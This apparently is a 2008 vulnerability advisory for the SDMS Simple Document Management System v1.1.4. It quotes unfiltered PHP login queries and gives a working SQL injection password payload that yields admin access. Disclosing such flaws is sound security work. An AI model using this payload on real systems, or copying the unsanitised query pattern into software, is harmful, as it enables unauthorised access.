SDMS Simple Document Management System v1.1.4 SQL Injection
___________________________________________________________________________
Author: Yuri
Program: SDMS Simple Document Management System
Version: v1.1.4 (and probably all older versions as well)
Website: http://sdms.cafuego.net/
How it works
___________________________________________________________________________
The login system is very insecure, this is the code we are going to abuse:
$result = @mysql_query("SELECT pass != PASSWORD('$pass') FROM users WHERE user='$login'");
$row = @mysql_fetch_array($result);
if( $row[0] != 0 ) {
header("Location: index.php");
exit;
}
$result = @mysql_query("SELECT id,name FROM users WHERE user='$login'");
$row = @mysql_fetch_array($result);
$id = $row[id];
$name = $row[name];
If the result of the first query is 0, it selects the id and name from the
user entered at the login page. There is no filter on $pass.
So if we enter
user: Admin (case insensitive)
password: ') FROM users WHERE id=-1 UNION SELECT 0 FROM users --
The resulting query looks like this:
SELECT pass != PASSWORD('') FROM users WHERE id=-1 UNION SELECT 0 FROM users --') FROM users WHERE user='$login'
which is always 0, so voila, admin access.
___________________________________________________________________________
Yuri // 04 - 11 - 2008
